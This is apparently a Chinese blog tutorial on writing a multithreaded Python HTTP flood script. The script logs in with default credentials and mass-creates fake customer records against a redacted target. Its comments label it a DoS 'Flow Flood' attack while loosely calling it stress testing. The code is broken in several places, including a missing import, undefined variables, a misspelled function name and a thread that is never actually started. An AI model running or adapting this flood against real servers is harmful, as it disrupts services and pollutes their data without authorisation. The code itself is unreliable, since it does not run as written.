python安全脚本编写之流量泛洪

多线程与流量泛洪

并发操作

如果一个单核的cpu，是并不存在严格意义的并发，只是因为处理时间极短，所以感觉上是并发操作的。

针对多核CPU，4核CPU，严格意义上的并发处理是4个

线程和进程

1. 每一个应用程序，至少会有一个进程，并且拥有PID（进程ID）和独立的内存空间。
2. 每一个进程至少拥有一个线程，而线程并没有独立的内存空间。

泛红初体验之thread.py

import threading
import time,random
# 单线程情况下，下述代码执行或消耗5秒钟的时间
def test_01():
    print(threading.currentThread().getName())	# 输出当前线程的名字
    for i in range(5):
        print(time.strftime('%Y-%m-%d %H:%M:%S'))
        time.sleep(1)
# 使用多线程的方式输入5次时间
def test_02():
    print(threading.currentThread().getName())
    print(time.strftime('%Y-%m-%d %H:%M:%S'))
    time.sleep(1)
    
    
session=requests.session()
def home():
    url="xx.xx.xx"
    resp=session.get(url)
    if "xxxxxxxxx" in resp.text:
        print("首页访问成功")
    else:
        print("首页访问失败")
def login():
    data={'username':'admin','password':'admin','verifycode':'0000'}
    resp=session.post(url=url,data=data)
    if resp.test=='login-pass':
        print('登陆成功')
    else:
        print('登陆失败')
        
def add():
    data={'customername':'未知','customerphone':f'13{random.randint(30000000,999999999)}','childsex':'男','childdate':'2021-10-15','creditkids':'0','creditcloth':'0'}
    resp=session.post(f"{url}/xxxx/customer/add",data=data)
    if resp.text=="add-successful":
        print("新增会员成功")
    else:
        print("新增会员失败")
# 基于HTTP协议，进行流量的泛洪，压力测试，性能测试
# 使用多线程模拟流量泛红（Flow Flood） 攻击xxx.xxx.xxx
def xxxxsales_flood():
    for i in range(1000):
        try:
	        home()
        	login()
            add()
        except:
            pass

    
if __name__=='__main__':
    # test_01()	# 当python执行时，虽然没有手工启动线程，默认Python会启动一个主线程
    # 并发启动5个线程
    #for i in range(5):
        # 实例化一个线程,target表示是哪个方法，将那个方法传过去，注意没有圆括号，有圆括号就是调用了，若目标函数有参数，在后面跟上args=()，以元组的方式传过去即可
        # 或者这样描述，实例化一个线程，并且指定调用test_02函数
        #t=threading.Thread(target=test_02)
        # 启动线程
        #t.start()
    #test_02()
    for i in range(100):
        threading.Thread(target=wxxxxales_flood).start

DOS攻击的核心

利用常规技术或特殊技术，想办法消耗掉目标服务器的资源（CPU、内存、硬盘，带宽，连接数等），使其无法正常提供对外服务

小知识点：

装饰器

可以用于收集其响应时间

def performance(func):
    def inner():
        start=time.time()
        func()
        end=time.time()
        print(f"请求：{func.__name__}的响应时间为：{end-start}")
    return inner
@performance
def home():
    url="xx.xx.xx"
    resp=session.get(url)
    if "xxxxxxxxx" in resp.text:
        print("首页访问成功")
    else:
        print("首页访问失败")